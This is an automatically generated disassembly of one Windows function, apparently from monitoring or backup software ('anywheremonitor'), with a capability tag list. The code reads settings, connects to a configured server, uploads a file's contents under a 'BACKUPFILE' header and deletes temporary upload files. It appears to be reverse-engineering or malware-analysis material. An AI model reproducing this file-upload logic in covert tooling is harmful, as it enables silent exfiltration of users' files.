Function at 0x4074f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Delete file
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b1d30
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x5e4
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push ecx
mov dword [ebp - 4], 2
mov eax, esp
mov dword [ebp - 0x48], esp
push str.config.ini
push 0x52fad4
push eax
call sub.MFC42u.DLL_operator_4
push 0x4d00bc
lea ecx, [ebp - 0x20]
push str.anywheremonitor
push ecx
call fcn.004250b0
mov edx, dword [ebp - 0x20]
mov ebx, dword [sym.imp.MSVCRT.dll_wcscmp]
push 0x4d00a4
push edx
mov byte [ebp - 4], 3
call ebx
xor esi, esi
add esp, 0x18
cmp eax, esi
je 0x40765d
lea ecx, [ebp - 0x18]
mov word [ebp - 0x12], si
mov word [ebp - 0x14], 1
mov word [ebp - 0x3a], si
mov word [ebp - 0x3c], 3
call sub.MFC42u.DLL_CString::CString_1
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push eax
push ecx
lea edx, [ebp - 0x18]
push 0x4d0098
push edx
mov byte [ebp - 4], 4
call sub.MFC42u.DLL_CString::Format
mov al, byte [ebp + 0x18]
add esp, 0x10
test al, al
je 0x40764a
push ecx
lea eax, [ebp - 0x18]
mov ecx, esp
mov dword [ebp + 0x18], esp
push eax
call sub.MFC42u.DLL_CString::CString_3
call fcn.00406df0
add esp, 4
cmp eax, esi
je 0x40764a
lea ecx, [ebp + 0x18]
push ecx
call fcn.00422360
add esp, 4
lea edx, [ebp - 0x14]
lea ecx, [ebp + 0x18]
push edx
mov byte [ebp - 4], 5
call sub.MFC42u.DLL_CString::operator_1
push 0x52fe70
lea ecx, [ebp + 0x18]
call sub.MFC42u.DLL_CString::operator_1
lea eax, [ebp - 0x14]
lea ecx, [ebp + 0x18]
push eax
call sub.MFC42u.DLL_CString::operator_1
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp + 0x18]
call fcn.004b0394
lea edx, [ebp - 0x14]
lea ecx, [ebp + 0x18]
push edx
call sub.MFC42u.DLL_CString::operator_1
lea eax, [ebp - 0x3c]
lea ecx, [ebp + 0x18]
push eax
call sub.MFC42u.DLL_CString::operator_1
push ecx
lea edx, [ebp + 0x18]
mov ecx, esp
mov dword [ebp - 0x40], esp
push edx
call sub.MFC42u.DLL_CString::CString_3
push 0x4d0070
call fcn.00425820
add esp, 8
lea ecx, [ebp + 0x18]
mov byte [ebp - 4], 4
call sub.MFC42u.DLL_CString::CString
mov al, byte [ebp + 0x14]
test al, al
jne 0x4076a3
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 3
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp + 8]
mov byte [ebp - 4], 1
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 0
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp + 0x10]
mov dword [ebp - 4], 0xffffffff
call sub.MFC42u.DLL_CString::CString
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x5c
lea ecx, [ebp + 8]
mov dword [ebp + 0x18], esi
call sub.MFC42u.DLL_CString::ReverseFind
push 0x4e2868
lea ecx, [ebp - 0x1c]
mov edi, eax
call sub.MFC42u.DLL_CString::CString_4
cmp edi, 0xffffffff
mov byte [ebp - 4], 6
je 0x4076fe
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_wcslen]
sub eax, edi
add esp, 4
dec eax
lea ecx, [ebp + 0x14]
push eax
push ecx
lea ecx, [ebp + 8]
call sub.MFC42u.DLL_CString::Right
push eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 7
call sub.MFC42u.DLL_CString::operator_2
lea ecx, [ebp + 0x14]
mov byte [ebp - 4], 6
call sub.MFC42u.DLL_CString::CString
push 0x4e2868
lea ecx, [ebp + 0x14]
call sub.MFC42u.DLL_CString::CString_4
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp - 0x1c]
push edx
push eax
call ebx
add esp, 8
cmp eax, esi
lea ecx, [ebp + 0x14]
sete bl
call sub.MFC42u.DLL_CString::CString
test bl, bl
je 0x40775d
mov ecx, dword [ebp + 8]
cmp dword [ecx - 8], 2
jne 0x407da9
lea edx, [ebp + 0x14]
push 1
push edx
lea ecx, [ebp + 8]
call sub.MFC42u.DLL_CString::Left
push eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 8
call sub.MFC42u.DLL_CString::operator_2
lea ecx, [ebp + 0x14]
mov byte [ebp - 4], 6
call sub.MFC42u.DLL_CString::CString
push 0x4cf268
lea ecx, [ebp - 0x24]
call sub.MFC42u.DLL_CString::CString_4
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 9
call sub.MFC42u.DLL_CFile::CFile
mov bl, 0xb
push str.agentsettings.cfg
lea ecx, [ebp + 0x14]
mov byte [ebp - 4], bl
call sub.MFC42u.DLL_CString::CString_4
push ecx
lea ecx, [ebp + 0x14]
mov eax, esp
mov dword [ebp - 0x40], esp
push ecx
push 0x1404c10
push eax
mov byte [ebp - 4], 0xc
call sub.MFC42u.DLL_operator
push 0x4cfc90
lea edx, [ebp - 0x4c]
push str.backup_mb
push edx
call fcn.004250b0
mov eax, dword [eax]
add esp, 0x10
push eax
call dword [sym.imp.MSVCRT.dll__wtoi]
add esp, 4
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x40], eax
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp + 0x14]
mov byte [ebp - 4], bl
call sub.MFC42u.DLL_CString::CString
mov eax, dword [ebp - 0x18]
push esi
push 0x20
push eax
lea ecx, [ebp - 0x38]
call sub.MFC42u.DLL_CFile::Open
cmp eax, esi
je 0x407847
lea ecx, [ebp - 0x38]
call sub.MFC42u.DLL_CFile::GetLength
mov ecx, eax
xor eax, eax
cmp eax, esi
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], eax
jl 0x40781b
jg 0x407808
cmp ecx, esi
jbe 0x40781b
push eax
push ecx
lea ecx, [ebp - 0x24]
push 0x4d0060
push ecx
call sub.MFC42u.DLL_CString::Format
add esp, 0x10
fild qword [ebp - 0x50]
fmul qword [0x4bbfa0]
fcom qword [0x4bc458]
fnstsw ax
test ah, 0x41
jne 0x4078a9
fild dword [ebp - 0x40]
fxch st(1)
fcompp
fnstsw ax
test ah, 0x41
je 0x4078ab
lea ecx, [ebp - 0x38]
call sub.MFC42u.DLL_CFile::Close
lea edx, [ebp - 0x5f0]
mov dword [ebp - 4], 0xa
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, esi
jne 0x407d91
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [ebp + 0x14], ebx
je 0x407d8b
mov eax, dword [0x4e3a90]
push eax
call fcn.00428bd0
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
add esp, 4
mov edi, eax
push edi
call esi
cmp eax, 0xffffffff
push edi
jne 0x4078ea
call dword [sym.imp.WS2_32.dll_gethostbyname]
jmp 0x4078fd
fstp st(0)
lea ecx, [ebp - 0x38]
call sub.MFC42u.DLL_CFile::Close
mov edx, dword [ebp - 0x18]
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIW]
push str.TempLow_file_transfer_backup
push edx
call edi
test eax, eax
jne 0x4078db
mov eax, dword [ebp - 0x18]
push str.TempLow_file_upload_request
push eax
call edi
test eax, eax
je 0x407d91
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x407d91
call esi
push 2
lea ecx, [ebp - 0x48]
push 4
push ecx
mov dword [ebp - 0x48], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
mov esi, eax
test esi, esi
jne 0x40790c
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
push edi
call fcn.00428c40
add esp, 4
test esi, esi
je 0x407d84
mov edx, dword [esi + 0xc]
push 0x64d9
mov eax, dword [edx]
mov ecx, dword [eax]
mov word [ebp - 0x60], 2
mov dword [ebp - 0x5c], ecx
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [ebp - 0x60]
push 0x10
push edx
push ebx
mov word [ebp - 0x5e], ax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x407d84
push str.BACKUPFILE
lea ecx, [ebp - 0x28]
call sub.MFC42u.DLL_CString::CString_2
mov ecx, dword [ebp + 0x10]
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x14]
push ecx
push edx
mov edx, dword [ebp - 0x1c]
lea ecx, [ebp - 0x14]
push eax
push ecx
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x14]
push edx
push eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x14]
push ecx
push edx
mov edx, dword [0x52fbc0]
lea ecx, [ebp - 0x14]
push eax
push ecx
lea eax, [ebp - 0x14]
push edx
push eax
lea ecx, [ebp - 0x28]
push str.BACKUPFILE_s_s_s_s_s_s_s_s_s_s_s_s_s
push ecx
mov byte [ebp - 4], 0xe
call sub.MFC42u.DLL_CString::Format
mov edx, dword [ebp + 8]
add esp, 0x3c
push str._file_upload_request
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
je 0x407a19
mov edx, dword [0x4e28bc]
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x14]
push 0x52fe70
push ecx
mov ecx, dword [ebp + 0x10]
lea eax, [ebp - 0x14]
push edx
push eax
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x14]
push ecx
push edx
mov edx, dword [ebp - 0x1c]
lea ecx, [ebp - 0x14]
push eax
push ecx
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x14]
push edx
push eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x14]
push ecx
push edx
mov edx, dword [0x52fbc0]
lea ecx, [ebp - 0x14]
push eax
push ecx
lea eax, [ebp - 0x14]
push edx
push eax
lea ecx, [ebp - 0x28]
push str.BACKUPFILE_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s
push ecx
call sub.MFC42u.DLL_CString::Format
add esp, 0x4c
mov edx, dword [ebp - 0x28]
push edx
call fcn.00428bd0
mov esi, eax
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
push ecx
push esi
push ebx
call dword [sym.imp.WS2_32.dll_send]
push esi
call fcn.00428c40
mov esi, dword [sym.imp.WS2_32.dll_setsockopt]
add esp, 4
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], 0x1388
push 4
push eax
push 0x1006
push 0xffff
push ebx
call esi
lea ecx, [ebp - 0x44]
push 4
push ecx
push 0x1005
push 0xffff
push ebx
call esi
mov esi, dword [sym.imp.MSVCRT.dll_strncmp]
xor eax, eax
lea edx, [ebp - 0x460]
push eax
mov ecx, 0x20
lea edi, [ebp - 0x460]
push 0x80
push edx
push ebx
rep stosd dword es:[edi], eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x407c08
test eax, eax
je 0x407c08
jle 0x407a80
push 0xc
lea eax, [ebp - 0x460]
push str.SAMEFILEOK
push eax
call esi
add esp, 0xc
test eax, eax
jne 0x407ad7
mov esi, 1
jmp 0x407c1d
push 0xc
lea ecx, [ebp - 0x460]
push str.RISKFILEOK
push ecx
call esi
add esp, 0xc
test eax, eax
jne 0x407b83
lea edx, [ebp - 0x460]
lea eax, [ebp + 0x14]
push edx
push eax
call fcn.00428ae0
add esp, 8
mov ecx, dword [ebp + 0x14]
lea edx, [ebp + 0x18]
mov byte [ebp - 4], 0xf
mov eax, dword [ecx - 8]
lea ecx, [ebp + 0x14]
add eax, 0xfffffff4
push eax
push edx
call sub.MFC42u.DLL_CString::Right
push eax
lea ecx, [ebp + 0x14]
mov byte [ebp - 4], 0x10
call sub.MFC42u.DLL_CString::operator_2
lea ecx, [ebp + 0x18]
mov byte [ebp - 4], 0xf
call sub.MFC42u.DLL_CString::CString
push str.Administrator
mov ecx, 0x4e38e0
call fcn.004b0454
lea eax, [ebp + 0x14]
mov ecx, 0x4e38dc
push eax
call sub.MFC42u.DLL_CString::operator_2
mov ecx, dword [0x52ff54]
push 2
push 0
push 0x46b
push ecx
call dword [sym.imp.USER32.dll_PostMessageW]
lea ecx, [ebp + 0x14]
mov dword [ebp + 0x18], 1
mov byte [ebp - 4], 0xe
call sub.MFC42u.DLL_CString::CString
jmp 0x407c1a
push 0xc
lea edx, [ebp - 0x460]
push 0x4cfea0
push edx
call esi
add esp, 0xc
test eax, eax
jne 0x407a80
push eax
mov eax, dword [ebp - 0x18]
push 0x20
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x11
call sub.MFC42u.DLL_CFile::Open
test eax, eax
je 0x407bef
lea ecx, [ebp - 0x460]
push 0x80
push ecx
lea ecx, [ebp - 0x38]
call sub.MFC42u.DLL_CFile::Read
test eax, eax
je 0x407be0
push 0
lea edx, [ebp - 0x460]
push eax
push edx
push ebx
call dword [sym.imp.WS2_32.dll_send]
jmp 0x407bb5
lea ecx, [ebp - 0x38]
call sub.MFC42u.DLL_CFile::Close
mov dword [ebp + 0x18], 1
mov dword [ebp - 4], 0xe
jmp 0x407a80
cmp dword [ebp + 0x18], 1
je 0x407c1a
mov dword [ebp + 0x18], 2
jmp 0x407c1a
mov esi, dword [ebp + 0x18]
cmp dword [ebp - 0x34], 0xffffffff
je 0x407c2b
lea ecx, [ebp - 0x38]
call sub.MFC42u.DLL_CFile::Close
test esi, esi
je 0x407c38
cmp esi, 1
jne 0x407cef
mov eax, dword [ebp - 0x18]
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIW]
push str.TempLow_file_transfer_backup
push eax
call edi
test eax, eax
jne 0x407c5c
mov ecx, dword [ebp - 0x18]
push str.TempLow_file_upload_request
push ecx
call edi
test eax, eax
je 0x407c66
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test esi, esi
jne 0x407cef
lea eax, [ebp + 0x18]
push eax
call fcn.00422360
add esp, 4
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x13
push ecx
lea ecx, [ebp + 0x18]
call sub.MFC42u.DLL_CString::operator_1
push 0x52fe70
lea ecx, [ebp + 0x18]
call sub.MFC42u.DLL_CString::operator_1
lea edx, [ebp - 0x14]
lea ecx, [ebp + 0x18]
push edx
call sub.MFC42u.DLL_CString::operator_1
lea eax, [ebp - 0x18]
lea ecx, [ebp + 0x18]
push eax
call fcn.004b0394
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp + 0x18]
call sub.MFC42u.DLL_CString::operator_1
lea edx, [ebp - 0x3c]
lea ecx, [ebp + 0x18]
push edx
call sub.MFC42u.DLL_CString::operator_1
push ecx
lea eax, [ebp + 0x18]
mov ecx, esp
mov dword [ebp + 0x14], esp
push eax
call sub.MFC42u.DLL_CString::CString_3
push 0x4cfe78
call fcn.00425820
add esp, 8
lea ecx, [ebp + 0x18]
mov byte [ebp - 4], 0xe
call sub.MFC42u.DLL_CString::CString
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xa
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 9
call fcn.004b0436
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 6
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 4
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 3
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp + 8]
mov byte [ebp - 4], 1
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 0
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp + 0x10]
mov dword [ebp - 4], 0xffffffff
call sub.MFC42u.DLL_CString::CString
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 9
call fcn.004b0436
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 6
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 4
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 3
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp + 8]
mov byte [ebp - 4], 1
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 0
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp + 0x10]
mov dword [ebp - 4], 0xffffffff
call sub.MFC42u.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 2
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret